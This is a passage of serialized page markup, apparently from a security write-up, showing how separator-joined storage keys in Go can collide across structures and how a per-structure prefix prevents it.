7],{"type":29,"value":93818},"addressNameEncoded",{"type":24,"tag":327,"props":93820,"children":93821},{"style":346},[93822],{"type":29,"value":2744},{"type":24,"tag":327,"props":93824,"children":93825},{"style":356},[93826],{"type":29,"value":93568},{"type":24,"tag":327,"props":93828,"children":93829},{"style":346},[93830],{"type":29,"value":852},{"type":24,"tag":327,"props":93832,"children":93833},{"class":329,"line":5302},[93834],{"type":24,"tag":327,"props":93835,"children":93836},{"emptyLinePlaceholder":16},[93837],{"type":29,"value":544},{"type":24,"tag":327,"props":93839,"children":93840},{"class":329,"line":5360},[93841,93845,93849,93853,93857,93861],{"type":24,"tag":327,"props":93842,"children":93843},{"style":356},[93844],{"type":29,"value":93402},{"type":24,"tag":327,"props":93846,"children":93847},{"style":381},[93848],{"type":29,"value":83143},{"type":24,"tag":327,"props":93850,"children":93851},{"style":356},[93852],{"type":29,"value":88961},{"type":24,"tag":327,"props":93854,"children":93855},{"style":346},[93856],{"type":29,"value":66},{"type":24,"tag":327,"props":93858,"children":93859},{"style":340},[93860],{"type":29,"value":91950},{"type":24,"tag":327,"props":93862,"children":93863},{"style":346},[93864],{"type":29,"value":4663},{"type":24,"tag":327,"props":93866,"children":93867},{"class":329,"line":5369},[93868,93872],{"type":24,"tag":327,"props":93869,"children":93870},{"style":844},[93871],{"type":29,"value":93430},{"type":24,"tag":327,"props":93873,"children":93874},{"style":346},[93875],{"type":29,"value":2231},{"type":24,"tag":327,"props":93877,"children":93878},{"class":329,"line":38991},[93879,93883],{"type":24,"tag":327,"props":93880,"children":93881},{"style":356},[93882],{"type":29,"value":93442},{"type":24,"tag":327,"props":93884,"children":93885},{"style":346},[93886],{"type":29,"value":2231},{"type":24,"tag":327,"props":93888,"children":93889},{"class":329,"line":39012},[93890,93894],{"type":24,"tag":327,"props":93891,"children":93892},{"style":356},[93893],{"type":29,"value":93454},{"type":24,"tag":327,"props":93895,"children":93896},{"style":346},[93897],{"type":29,"value":2231},{"type":24,"tag":327,"props":93899,"children":93900},{"class":329,"line":87678},[93901,93905],{"type":24,"tag":327,"props":93902,"children":93903},{"style":356},[93904],{"type":29,"value":93466},{"type":24,"tag":327,"props":93906,"children":93907},{"style":346},[93908],{"type":29,"value":2231},{"type":24,"tag":327,"props":93910,"children":93911},{"class":329,"line":87691},[93912,93916],{"type":24,"tag":327,"props":93913,"children":93914},{"style":356},[93915],{"type":29,"value":93454},{"type":24,"tag":327,"props":93917,"children":93918},{"style":346},[93919],{"type":29,"value":2231},{"type":24,"tag":327,"props":93921,"children":93922},{"class":329,"line":87699},[93923,93928],{"type":24,"tag":327,"props":93924,"children":93925},{"style":356},[93926],{"type":29,"value":93927},"        addressNameEncoded",{"type":24,"tag":327,"props":93929,"children":93930},{"style":346},[93931],{"type":29,"value":2231},{"type":24,"tag":327,"props":93933,"children":93934},{"class":329,"line":87707},[93935],{"type":24,"tag":327,"props":93936,"children":93937},{"style":346},[93938],{"type":29,"value":5366},{"type":24,"tag":327,"props":93940,"children":93941},{"class":329,"line":87715},[93942],{"type":24,"tag":327,"props":93943,"children":93944},{"style":346},[93945],{"type":29,"value":592},{"type":24,"tag":25,"props":93947,"children":93948},{},[93949,93951,93956],{"type":29,"value":93950},"Unfortunately, when dealing with more than one storage entry within the same ",{"type":24,"tag":284,"props":93952,"children":93954},{"className":93953},[],[93955],{"type":29,"value":91704},{"type":29,"value":93957},", the previous implementation is not enough to guarantee key uniqueness. While it still effectively prevents key collisions within each individual structure, it does not prevent cross-structure key collisions.",{"type":24,"tag":317,"props":93959,"children":93961},{"code":93960},"vaultId = 1, username = \"a\", positionName = \"b\"\n    => PositionMapKey = \"1|a|b\"\n\nvaultId = 1, username = \"a\", addressName = \"b\"\n    => AddressMapKey = \"1|a||b\"\n",[93962],{"type":24,"tag":284,"props":93963,"children":93964},{"__ignoreMap":7},[93965],{"type":29,"value":93960},{"type":24,"tag":25,"props":93967,"children":93968},{},[93969],{"type":29,"value":93970},"To prevent this, add a structure-specific prefix to the start of each key to act as a domain separator.",{"type":24,"tag":317,"props":93972,"children":93974},{"code":93973,"language":82891,"meta":7,"className":82892,"style":7},"const (\n    Seperator = \"|\"\n    PositionMapPrefix = \"\\x01\"\n    AddressMapPrefix = \"\\x02\"\n)\n\n\nfunc PositionMapKey(\n    vaultId uint64,\n    username, positionName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    positionNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(positionName)),\n    )\n    hex.Encode(positionNameEncoded, positionName)\n\n    key := fmt.Sprintf(\n        \"%s%d%s%s%s%s\",\n        PositionMapPrefix,\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        positionNameEncoded,\n    )\n}\n\n\nfunc AddressMapKey(\n    vaultId uint64,\n    username, addressName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    addressNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(addressName)),\n    )\n    hex.Encode(addressNameEncoded, addressName)\n\n    key := fmt.Sprintf(\n        \"%s%d%s%s%s%s\",\n        AddressMapPrefix,\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        addressNameEncoded,\n    )\n}\n",[93975],{"type":24,"tag":284,"props":93976,"children":93977},{"__ignoreMap":7},[93978,93989,94004,94031,94056,94063,94070,94077,94092,94107,94134,94157,94176,94191,94226,94233,94268,94275,94294,94309,94344,94351,94386,94393,94420,94432,94444,94455,94466,94477,94488,94499,94506,94513,94520,94527,94542,94557,94584,94607,94626,94641,94676,94683,94718,94725,94744,94759,94794,94801,94836,94843,94870,94881,94893,94904,94915,94926,94937,94948,94956],{"type":24,"tag":327,"props":93979,"children":93980},{"class":329,"line":330},[93981,93985],{"type":24,"tag":327,"props":93982,"children":93983},{"style":334},[93984],{"type":29,"value":17202},{"type":24,"tag":327,"props":93986,"children":93987},{"style":346},[93988],{"type":29,"value":85293},{"type":24,"tag":327,"props":93990,"children":93991},{"class":329,"line":367},[93992,93996,94000],{"type":24,"tag":327,"props":93993,"children":93994},{"style":356},[93995],{"type":29,"value":92058},{"type":24,"tag":327,"props":93997,"children":93998},{"style":381},[93999],{"type":29,"value":4809},{"type":24,"tag":327,"props":94001,"children":94002},{"style":844},[94003],{"type":29,"value":92067},{"type":24,"tag":327,"props":94005,"children":94006},{"class":329,"line":408},[94007,94012,94016,94021,94026],{"type":24,"tag":327,"props":94008,"children":94009},{"style":356},[94010],{"type":29,"value":94011},"    PositionMapPrefix",{"type":24,"tag":327,"props":94013,"children":94014},{"style":381},[94015],{"type":29,"value":4809},{"type":24,"tag":327,"props":94017,"children":94018},{"style":844},[94019],{"type":29,"value":94020}," \"",{"type":24,"tag":327,"props":94022,"children":94023},{"style":55093},[94024],{"type":29,"value":94025},"\\x01",{"type":24,"tag":327,"props":94027,"children":94028},{"style":844},[94029],{"type":29,"value":94030},"\"\n",{"type":24,"tag":327,"props":94032,"children":94033},{"class":329,"line":421},[94034,94039,94043,94047,94052],{"type":24,"tag":327,"props":94035,"children":94036},{"style":356},[94037],{"type":29,"value":94038},"    AddressMapPrefix",{"type":24,"tag":327,"props":94040,"children":94041},{"style":381},[94042],{"type":29,"value":4809},{"type":24,"tag":327,"props":94044,"children":94045},{"style":844},[94046],{"type":29,"value":94020},{"type":24,"tag":327,"props":94048,"children":94049},{"style":55093},[94050],{"type":29,"value":94051},"\\x02",{"type":24,"tag":327,"props":94053,"children":94054},{"style":844},[94055],{"type":29,"value":94030},{"type":24,"tag":327,"props":94057,"children":94058},{"class":329,"line":450},[94059],{"type":24,"tag":327,"props":94060,"children":94061},{"style":346},[94062],{"type":29,"value":852},{"type":24,"tag":327,"props":94064,"children":94065},{"class":329,"line":481},[94066],{"type":24,"tag":327,"props":94067,"children":94068},{"emptyLinePlaceholder":16},[94069],{"type":29,"value":544},{"type":24,"tag":327,"props":94071,"children":94072},{"class":329,"line":500},[94073],{"type":24,"tag":327,"props":94074,"children":94075},{"emptyLinePlaceholder":16},[94076],{"type":29,"value":544},{"type":24,"tag":327,"props":94078,"children":94079},{"class":329,"line":529},[94080,94084,94088],{"type":24,"tag":327,"props":94081,"children":94082},{"style":334},[94083],{"type":29,"value":83027},{"type":24,"tag":327,"props":94085,"children":94086},{"style":340},[94087],{"type":29,"value":93086},{"type":24,"tag":327,"props":94089,"children":94090},{"style":346},[94091],{"type":29,"value":4663},{"type":24,"tag":327,"props":94093,"children":94094},{"class":329,"line":538},[94095,94099,94103],{"type":24,"tag":327,"props":94096,"children":94097},{"style":356},[94098],{"type":29,"value":91974},{"type":24,"tag":327,"props":94100,"children":94101},{"style":1639},[94102],{"type":29,"value":83148},{"type":24,"tag":327,"props":94104,"children":94105},{"style":346},[94106],{"type":29,"value":2231},{"type":24,"tag":327,"props":94108,"children":94109},{"class":329,"line":547},[94110,94114,94118,94122,94126,94130],{"type":24,"tag":327,"props":94111,"children":94112},{"style":356},[94113],{"type":29,"value":91986},{"type":24,"tag":327,"props":94115,"children":94116},{"style":346},[94117],{"type":29,"value":2744},{"type":24,"tag":327,"props":94119,"children":94120},{"style":356},[94121],{"type":29,"value":92467},{"type":24,"tag":327,"props":94123,"children":94124},{"style":346},[94125],{"type":29,"value":82954},{"type":24,"tag":327,"props":94127,"children":94128},{"style":1639},[94129],{"type":29,"value":91492},{"type":24,"tag":327,"props":94131,"children":94132},{"style":346},[94133],{"type":29,"value":2231},{"type":24,"tag":327,"props":94135,"children":94136},{"class":329,"line":557},[94137,94141,94145,94149,94153],{"type":24,"tag":327,"props":94138,"children":94139},{"style":346},[94140],{"type":29,"value":83109},{"type":24,"tag":327,"props":94142,"children":94143},{"style":356},[94144],{"type":29,"value":78881},{"type":24,"tag":327,"props":94146,"children":94147},{"style":346},[94148],{"type":29,"value":82954},{"type":24,"tag":327,"props":94150,"children":94151},{"style":1639},[94152],{"type":29,"value":91492},{"type":24,"tag":327,"props":94154,"children":94155},{"style":346},[94156],{"type":29,"value":364},{"type":24,"tag":327,"props":94158,"children":94159},{"class":329,"line":586},[94160,94164,94168,94172],{"type":24,"tag":327,"props":94161,"children":94162},{"style":356},[94163],{"type":29,"value":92588},{"type":24,"tag":327,"props":94165,"children":94166},{"style":381},[94167],{"type":29,"value":83143},{"type":24,"tag":327,"props":94169,"children":94170},{"style":340},[94171],{"type":29,"value":92291},{"type":24,"tag":327,"props":94173,"children":94174},{"style":346},[94175],{"type":29,"value":4663},{"type":24,"tag":327,"props":94177,"children":94178},{"class":329,"line":1017},[94179,94183,94187],{"type":24,"tag":327,"props":94180,"children":94181},{"style":346},[94182],{"type":29,"value":93182},{"type":24,"tag":327,"props":94184,"children":94185},{"style":1639},[94186],{"type":29,"value":91492},{"type":24,"tag":327,"props":94188,"children":94189},{"style":346},[94190],{"type":29,"value":2231},{"type":24,"tag":327,"props":94192,"children":94193},{"class":329,"line":1026},[94194,94198,94202,94206,94210,94214,94218,94222],{"type":24,"tag":327,"props":94195,"children":94196},{"style":356},[94197],{"type":29,"value":93198},{"type":24,"tag":327,"props":94199,"children":94200},{"style":346},[94201],{"type":29,"value":66},{"type":24,"tag":327,"props":94203,"children":94204},{"style":340},[94205],{"type":29,"value":92328},{"type":24,"tag":327,"props":94207,"children":94208},{"style":346},[94209],{"type":29,"value":349},{"type":24,"tag":327,"props":94211,"children":94212},{"style":340},[94213],{"type":29,"value":4906},{"type":24,"tag":327,"props":94215,"children":94216},{"style":346},[94217],{"type":29,"value":349},{"type":24,"tag":327,"props":94219,"children":94220},{"style":356},[94221],{"type":29,"value":92198},{"type":24,"tag":327,"props":94223,"children":94224},{"style":346},[94225],{"type":29,"value":92349},{"type":24,"tag":327,"props":94227,"children":94228},{"class":329,"line":1048},[94229],{"type":24,"tag":327,"props":94230,"children":94231},{"style":346},[94232],{"type":29,"value":5366},{"type":24,"tag":327,"props":94234,"children":94235},{"class":329,"line":1067},[94236,94240,94244,94248,94252,94256,94260,94264],{"type":24,"tag":327,"props":94237,"children":94238},{"style":356},[94239],{"type":29,"value":92319},{"type":24,"tag":327,"props":94241,"children":94242},{"style":346},[94243],{"type":29,"value":66},{"type":24,"tag":327,"props":94245,"children":94246},{"style":340},[94247],{"type":29,"value":92373},{"type":24,"tag":327,"props":94249,"children":94250},{"style":346},[94251],{"type":29,"value":349},{"type":24,"tag":327,"props":94253,"children":94254},{"style":356},[94255],{"type":29,"value":92282},{"type":24,"tag":327,"props":94257,"children":94258},{"style":346},[94259],{"type":29,"value":2744},{"type":24,"tag":327,"props":94261,"children":94262},{"style":356},[94263],{"type":29,"value":92198},{"type":24,"tag":327,"props":94265,"children":94266},{"style":346},[94267],{"type":29,"value":852},{"type":24,"tag":327,"props":94269,"children":94270},{"class":329,"line":1075},[94271],{"type":24,"tag":327,"props":94272,"children":94273},{"emptyLinePlaceholder":16},[94274],{"type":29,"value":544},{"type":24,"tag":327,"props":94276,"children":94277},{"class":329,"line":1084},[94278,94282,94286,94290],{"type":24,"tag":327,"props":94279,"children":94280},{"style":356},[94281],{"type":29,"value":93283},{"type":24,"tag":327,"props":94283,"children":94284},{"style":381},[94285],{"type":29,"value":83143},{"type":24,"tag":327,"props":94287,"children":94288},{"style":340},[94289],{"type":29,"value":92291},{"type":24,"tag":327,"props":94291,"children":94292},{"style":346},[94293],{"type":29,"value":4663},{"type":24,"tag":327,"props":94295,"children":94296},{"class":329,"line":1100},[94297,94301,94305],{"type":24,"tag":327,"props":94298,"children":94299},{"style":346},[94300],{"type":29,"value":93182},{"type":24,"tag":327,"props":94302,"children":94303},{"style":1639},[94304],{"type":29,"value":91492},{"type":24,"tag":327,"props":94306,"children":94307},{"style":346},[94308],{"type":29,"value":2231},{"type":24,"tag":327,"props":94310,"children":94311},{"class":329,"line":1128},[94312,94316,94320,94324,94328,94332,94336,94340],{"type":24,"tag":327,"props":94313,"children":94314},{"style":356},[94315],{"type":29,"value":93198},{"type":24,"tag":327,"props":94317,"children":94318},{"style":346},[94319],{"type":29,"value":66},{"type":24,"tag":327,"props":94321,"children":94322},{"style":340},[94323],{"type":29,"value":92328},{"type":24,"tag":327,"props":94325,"children":94326},{"style":346},[94327],{"type":29,"value":349},{"type":24,"tag":327,"props":94329,"children":94330},{"style":340},[94331],{"type":29,"value":4906},{"type":24,"tag":327,"props":94333,"children":94334},{"style":346},[94335],{"type":29,"value":349},{"type":24,"tag":327,"props":94337,"children":94338},{"style":356},[94339],{"type":29,"value":92467},{"type":24,"tag":327,"props":94341,"children":94342},{"style":346},[94343],{"type":29,"value":92349},{"type":24,"tag":327,"props":94345,"children":94346},{"class":329,"line":1148},[94347],{"type":24,"tag":327,"props":94348,"children":94349},{"style":346},[94350],{"type":29,"value":5366},{"type":24,"tag":327,"props":94352,"children":94353},{"class":329,"line":1176},[94354,94358,94362,94366,94370,94374,94378,94382],{"type":24,"tag":327,"props":94355,"children":94356},{"style":356},[94357],{"type":29,"value":92319},{"type":24,"tag":327,"props":94359,"children":94360},{"style":346},[94361],{"type":29,"value":66},{"type":24,"tag":327,"props":94363,"children":94364},{"style":340},[94365],{"type":29,"value":92373},{"type":24,"tag":327,"props":94367,"children":94368},{"style":346},[94369],{"type":29,"value":349},{"type":24,"tag":327,"props":94371,"children":94372},{"style":356},[94373],{"type":29,"value":92408},{"type":24,"tag":327,"props":94375,"children":94376},{"style":346},[94377],{"type":29,"value":2744},{"type":24,"tag":327,"props":94379,"children":94380},{"style":356},[94381],{"type":29,"value":92467},{"type":24,"tag":327,"props":94383,"children":94384},{"style":346},[94385],{"type":29,"value":852},{"type":24,"tag":327,"props":94387,"children":94388},{"class":329,"line":1184},[94389],{"type":24,"tag":327,"props":94390,"children":94391},{"emptyLinePlaceholder":16},[94392],{"type":29,"value":544},{"type":24,"tag":327,"props":94394,"children":94395},{"class":329,"line":1192},[94396,94400,94404,94408,94412,94416],{"type":24,"tag":327,"props":94397,"children":94398},{"style":356},[94399],{"type":29,"value":93402},{"type":24,"tag":327,"props":94401,"children":94402},{"style":381},[94403],{"type":29,"value":83143},{"type":24,"tag":327,"props":94405,"children":94406},{"style":356},[94407],{"type":29,"value":88961},{"type":24,"tag":327,"props":94409,"children":94410},{"style":346},[94411],{"type":29,"value":66},{"type":24,"tag":327,"props":94413,"children":94414},{"style":340},[94415],{"type":29,"value":91950},{"type":24,"tag":327,"props":94417,"children":94418},{"style":346},[94419],{"type":29,"value":4663},{"type":24,"tag":327,"props":94421,"children":94422},{"class":329,"line":1212},[94423,94428],{"type":24,"tag":327,"props":94424,"children":94425},{"style":844},[94426],{"type":29,"value":94427},"        \"%s%d%s%s%s%s\"",{"type":24,"tag":327,"props":94429,"children":94430},{"style":346},[94431],{"type":29,"value":2231},{"type":24,"tag":327,"props":94433,"children":94434},{"class":329,"line":4841},[94435,94440],{"type":24,"tag":327,"props":94436,"children":94437},{"style":356},[94438],{"type":29,"value":94439},"        PositionMapPrefix",{"type":24,"tag":327,"props":94441,"children":94442},{"style":346},[94443],{"type":29,"value":2231},{"type":24,"tag":327,"props":94445,"children":94446},{"class":329,"line":4862},[94447,94451],{"type":24,"tag":327,"props":94448,"children":94449},{"style":356},[94450],{"type":29,"value":93442},{"type":24,"tag":327,"props":94452,"children":94453},{"style":346},[94454],{"type":29,"value":2231},{"type":24,"tag":327,"props":94456,"children":94457},{"class":329,"line":4870},[94458,94462],{"type":24,"tag":327,"props":94459,"children":94460},{"style":356},[94461],{"type":29,"value":93454},{"type":24,"tag":327,"props":94463,"children":94464},{"style":346},[94465],{"type":29,"value":2231},{"type":24,"tag":327,"props":94467,"children":94468},{"class":329,"line":4879},[94469,94473],{"type":24,"tag":327,"props":94470,"children":94471},{"style":356},[94472],{"type":29,"value":93466},{"type":24,"tag":327,"props":94474,"children":94475},{"style":346},[94476],{"type":29,"value":2231},{"type":24,"tag":327,"props":94478,"children":94479},{"class":329,"line":4913},[94480,94484],{"type":24,"tag":327,"props":94481,"children":94482},{"style":356},[94483],{"type":29,"value":93454},{"type":24,"tag":327,"props":94485,"children":94486},{"style":346},[94487],{"type":29,"value":2231},{"type":24,"tag":327,"props":94489,"children":94490},{"class":329,"line":4938},[94491,94495],{"type":24,"tag":327,"props":94492,"children":94493},{"style":356},[94494],{"type":29,"value":93489},{"type":24,"tag":327,"props":94496,"children":94497},{"style":346},[94498],{"type":29,"value":2231},{"type":24,"tag":327,"props":94500,"children":94501},{"class":329,"line":4974},[94502],{"type":24,"tag":327,"props":94503,"children":94504},{"style":346},[94505],{"type":29,"value":5366},{"type":24,"tag":327,"props":94507,"children":94508},{"class":329,"line":4982},[94509],{"type":24,"tag":327,"props":94510,"children":94511},{"style":346},[94512],{"type":29,"value":592},{"type":24,"tag":327,"props":94514,"children":94515},{"class":329,"line":4990},[94516],{"type":24,"tag":327,"props":94517,"children":94518},{"emptyLinePlaceholder":16},[94519],{"type":29,"value":544},{"type":24,"tag":327,"props":94521,"children":94522},{"class":329,"line":4999},[94523],{"type":24,"tag":327,"props":94524,"children":94525},{"emptyLinePlaceholder":16},[94526],{"type":29,"value":544},{"type":24,"tag":327,"props":94528,"children":94529},{"class":329,"line":5042},[94530,94534,94538],{"type":24,"tag":327,"props":94531,"children":94532},{"style":334},[94533],{"type":29,"value":83027},{"type":24,"tag":327,"props":94535,"children":94536},{"style":340},[94537],{"type":29,"value":93533},{"type":24,"tag":327,"props":94539,"children":94540},{"style":346},[94541],{"type":29,"value":4663},{"type":24,"tag":327,"props":94543,"children":94544},{"class":329,"line":5075},[94545,94549,94553],{"type":24,"tag":327,"props":94546,"children":94547},{"style":356},[94548],{"type":29,"value":91974},{"type":24,"tag":327,"props":94550,"children":94551},{"style":1639},[94552],{"type":29,"value":83148},{"type":24,"tag":327,"props":94554,"children":94555},{"style":346},[94556],{"type":29,"value":2231},{"type":24,"tag":327,"props":94558,"children":94559},{"class":329,"line":5083},[94560,94564,94568,94572,94576,94580],{"type":24,"tag":327,"props":94561,"children":94562},{"style":356},[94563],{"type":29,"value":91986},{"type":24,"tag":327,"props":94565,"children":94566},{"style":346},[94567],{"type":29,"value":2744},{"type":24,"tag":327,"props":94569,"children":94570},{"style":356},[94571],{"type":29,"value":93568},{"type":24,"tag":327,"props":94573,"children":94574},{"style":346},[94575],{"type":29,"value":82954},{"type":24,"tag":327,"props":94577,"children":94578},{"style":1639},[94579],{"type":29,"value":91492},{"type":24,"tag":327,"props":94581,"children":94582},{"style":346},[94583],{"type":29,"value":2231},{"type":24,"tag":327,"props":94585,"children":94586},{"class":329,"line":5091},[94587,94591,94595,94599,94603],{"type":24,"tag":327,"props":94588,"children":94589},{"style":346},[94590],{"type":29,"value":83109},{"type":24,"tag":327,"props":94592,"children":94593},{"style":356},[94594],{"type":29,"value":78881},{"type":24,"tag":327,"props":94596,"children":94597},{"style":346},[94598],{"type":29,"value":82954},{"type":24,"tag":327,"props":94600,"children":94601},{"style":1639},[94602],{"type":29,"value":91492},{"type":24,"tag":327,"props":94604,"children":94605},{"style":346},[94606],{"type":29,"value":364},{"type":24,"tag":327,"props":94608,"children":94609},{"class":329,"line":5100},[94610,94614,94618,94622],{"type":24,"tag":327,"props":94611,"children":94612},{"style":356},[94613],{"type":29,"value":92588},{"type":24,"tag":327,"props":94615,"children":94616},{"style":381},[94617],{"type":29,"value":83143},{"type":24,"tag":327,"props":94619,"children":94620},{"style":340},[94621],{"type":29,"value":92291},{"type":24,"tag":327,"props":94623,"children":94624},{"style":346},[94625],{"type":29,"value":4663},{"type":24,"tag":327,"props":94627,"children":94628},{"class":329,"line":5176},[94629,94633,94637],{"type":24,"tag":327,"props":94630,"children":94631},{"style":346},[94632],{"type":29,"value":93182},{"type":24,"tag":327,"props":94634,"children":94635},{"style":1639},[94636],{"type":29,"value":91492},{"type":24,"tag":327,"props":94638,"children":94639},{"style":346},[94640],{"type":29,"value":2231},{"type":24,"tag":327,"props":94642,"children":94643},{"class":329,"line":5209},[94644,94648,94652,94656,94660,94664,94668,94672],{"type":24,"tag":327,"props":94645,"children":94646},{"style":356},[94647],{"type":29,"value":93198},{"type":24,"tag":327,"props":94649,"children":94650},{"style":346},[94651],{"type":29,"value":66},{"type":24,"tag":327,"props":94653,"children":94654},{"style":340},[94655],{"type":29,"value":92328},{"type":24,"tag":327,"props":94657,"children":94658},{"style":346},[94659],{"type":29,"value":349},{"type":24,"tag":327,"props":94661,"children":94662},{"style":340},[94663],{"type":29,"value":4906},{"type":24,"tag":327,"props":94665,"children":94666},{"style":346},[94667],{"type":29,"value":349},{"type":24,"tag":327,"props":94669,"children":94670},{"style":356},[94671],{"type":29,"value":92198},{"type":24,"tag":327,"props":94673,"children":94674},{"style":346},[94675],{"type":29,"value":92349},{"type":24,"tag":327,"props":94677,"children":94678},{"class":329,"line":5217},[94679],{"type":24,"tag":327,"props":94680,"children":94681},{"style":346},[94682],{"type":29,"value":5366},{"type":24,"tag":327,"props":94684,"children":94685},{"class":329,"line":5225},[94686,94690,94694,94698,94702,94706,94710,94714],{"type":24,"tag":327,"props":94687,"children":94688},{"style":356},[94689],{"type":29,"value":92319},{"type":24,"tag":327,"props":94691,"children":94692},{"style":346},[94693],{"type":29,"value":66},{"type":24,"tag":327,"props":94695,"children":94696},{"style":340},[94697],{"type":29,"value":92373},{"type":24,"tag":327,"props":94699,"children":94700},{"style":346},[94701],{"type":29,"value":349},{"type":24,"tag":327,"props":94703,"children":94704},{"style":356},[94705],{"type":29,"value":92282},{"type":24,"tag":327,"props":94707,"children":94708},{"style":346},[94709],{"type":29,"value":2744},{"type":24,"tag":327,"props":94711,"children":94712},{"style":356},[94713],{"type":29,"value":92198},{"type":24,"tag":327,"props":94715,"children":94716},{"style":346},[94717],{"type":29,"value":852},{"type":24,"tag":327,"props":94719,"children":94720},{"class":329,"line":5263},[94721],{"type":24,"tag":327,"props":94722,"children":94723},{"emptyLinePlaceholder":16},[94724],{"type":29,"value":544},{"type":24,"tag":327,"props":94726,"children":94727},{"class":329,"line":5276},[94728,94732,94736,94740],{"type":24,"tag":327,"props":94729,"children":94730},{"style":356},[94731],{"type":29,"value":93725},{"type":24,"tag":327,"props":94733,"children":94734},{"style":381},[94735],{"type":29,"value":83143},{"type":24,"tag":327,"props":94737,"children":94738},{"style":340},[94739],{"type":29,"value":92291},{"type":24,"tag":327,"props":94741,"children":94742},{"style":346},[94743],{"type":29,"value":4663},{"type":24,"tag":327,"props":94745,"children":94746},{"class":329,"line":5289},[94747,94751,94755],{"type":24,"tag":327,"props":94748,"children":94749},{"style":346},[94750],{"type":29,"value":93182},{"type":24,"tag":327,"props":94752,"children":94753},{"style":1639},[94754],{"type":29,"value":91492},{"type":24,"tag":327,"props":94756,"children":94757},{"style":346},[94758],{"type":29,"value":2231},{"type":24,"tag":327,"props":94760,"children":94761},{"class":329,"line":5302},[94762,94766,94770,94774,94778,94782,94786,94790],{"type":24,"tag":327,"props":94763,"children":94764},{"style":356},[94765],{"type":29,"value":93198},{"type":24,"tag":327,"props":94767,"children":94768},{"style":346},[94769],{"type":29,"value":66},{"type":24,"tag":327,"props":94771,"children":94772},{"style":340},[94773],{"type":29,"value":92328},{"type":24,"tag":327,"props":94775,"children":94776},{"style":346},[94777],{"type":29,"value":349},{"type":24,"tag":327,"props":94779,"children":94780},{"style":340},[94781],{"type":29,"value":4906},{"type":24,"tag":327,"props":94783,"children":94784},{"style":346},[94785],{"type":29,"value":349},{"type":24,"tag":327,"props":94787,"children":94788},{"style":356},[94789],{"type":29,"value":93568},{"type":24,"tag":327,"props":94791,"children":94792},{"style":346},[94793],{"type":29,"value":92349},{"type":24,"tag":327,"props":94795,"children":94796},{"class":329,"line":5360},[94797],{"type":24,"tag":327,"props":94798,"children":94799},{"style":346},[94800],{"type":29,"value":5366},{"type":24,"tag":327,"props":94802,"children":94803},{"class":329,"line":5369},[94804,94808,94812,94816,94820,94824,94828,94832],{"type":24,"tag":327,"props":94805,"children":94806},{"style":356},[94807],{"type":29,"value":92319},{"type":24,"tag":327,"props":94809,"children":94810},{"style":346},[94811],{"type":29,"value":66},{"type":24,"tag":327,"props":94813,"children":94814},{"style":340},[94815],{"type":29,"value":92373},{"type":24,"tag":327,"props":94817,"children":94818},{"style":346},[94819],{"type":29,"value":349},{"type":24,"tag":327,"props":94821,"children":94822},{"style":356},[94823],{"type":29,"value":93818},{"type":24,"tag":327,"props":94825,"children":94826},{"style":346},[94827],{"type":29,"value":2744},{"type":24,"tag":327,"props":94829,"children":94830},{"style":356},[94831],{"type":29,"value":93568},{"type":24,"tag":327,"props":94833,"children":94834},{"style":346},[94835],{"type":29,"value":852},{"type":24,"tag":327,"props":94837,"children":94838},{"class":329,"line":38991},[94839],{"type":24,"tag":327,"props":94840,"children":94841},{"emptyLinePlaceholder":16},[94842],{"type":29,"value":544},{"type":24,"tag":327,"props":94844,"children":94845},{"class":329,"line":39012},[94846,94850,94854,94858,94862,94866],{"type":24,"tag":327,"props":94847,"children":94848},{"style":356},[94849],{"type":29,"value":93402},{"type":24,"tag":327,"props":94851,"children":94852},{"style":381},[94853],{"type":29,"value":83143},{"type":24,"tag":327,"props":94855,"children":94856},{"style":356},[94857],{"type":29,"value":88961},{"type":24,"tag":327,"props":94859,"children":94860},{"style":346},[94861],{"type":29,"value":66},{"type":24,"tag":327,"props":94863,"children":94864},{"style":340},[94865],{"type":29,"value":91950},{"type":24,"tag":327,"props":94867,"children":94868},{"style":346},[94869],{"type":29,"value":4663},{"type":24,"tag":327,"props":94871,"children":94872},{"class":329,"line":87678},[94873,94877],{"type":24,"tag":327,"props":94874,"children":94875},{"style":844},[94876],{"type":29,"value":94427},{"type":24,"tag":327,"props":94878,"children":94879},{"style":346},[94880],{"type":29,"value":2231},{"type":24,"tag":327,"props":94882,"children":94883},{"class":329,"line":87691},[94884,94889],{"type":24,"tag":327,"props":94885,"children":94886},{"style":356},[94887],{"type":29,"value":94888},"        AddressMapPrefix",{"type":24,"tag":327,"props":94890,"children":94891},{"style":346},[94892],{"type":29,"value":2231},{"type":24,"tag":327,"props":94894,"children":94895},{"class":329,"line":87699},[94896,94900],{"type":24,"tag":327,"props":94897,"children":94898},{"style":356},[94899],{"type":29,"value":93442},{"type":24,"tag":327,"props":94901,"children":94902},{"style":346},[94903],{"type":29,"value":2231},{"type":24,"tag":327,"props":94905,"children":94906},{"class":329,"line":87707},[94907,94911],{"type":24,"tag":327,"props":94908,"children":94909},{"style":356},[94910],{"type":29,"value":93454},{"type":24,"tag":327,"props":94912,"children":94913},{"style":346},[94914],{"type":29,"value":2231},{"type":24,"tag":327,"props":94916,"children":94917},{"class":329,"line":87715},[94918,94922],{"type":24,"tag":327,"props":94919,"children":94920},{"style":356},[94921],{"type":29,"value":93466},{"type":24,"tag":327,"props":94923,"children":94924},{"style":346},[94925],{"type":29,"value":2231},{"type":24,"tag":327,"props":94927,"children":94928},{"class":329,"line":87755},[94929,94933],{"type":24,"tag":327,"props":94930,"children":94931},{"style":356},[94932],{"type":29,"value":93454},{"type":24,"tag":327,"props":94934,"children":94935},{"style":346},[94936],{"type":29,"value":2231},{"type":24,"tag":327,"props":94938,"children":94939},{"class":329,"line":87763},[94940,94944],{"type":24,"tag":327,"props":94941,"children":94942},{"style":356},[94943],{"type":29,"value":93927},{"type":24,"tag":327,"props":94945,"children":94946},{"style":346},[94947],{"type":29,"value":2231},{"type":24,"tag":327,"props":94949,"children":94951},{"class":329,"line":94950},60,[94952],{"type":24,"tag":327,"props":94953,"children":94954},{"style":346},[94955],{"type":29,"value":5366},{"type":24,"tag":327,"props":94957,"children":94959},{"class":329,"line":94958},61,[94960],{"type":24,"t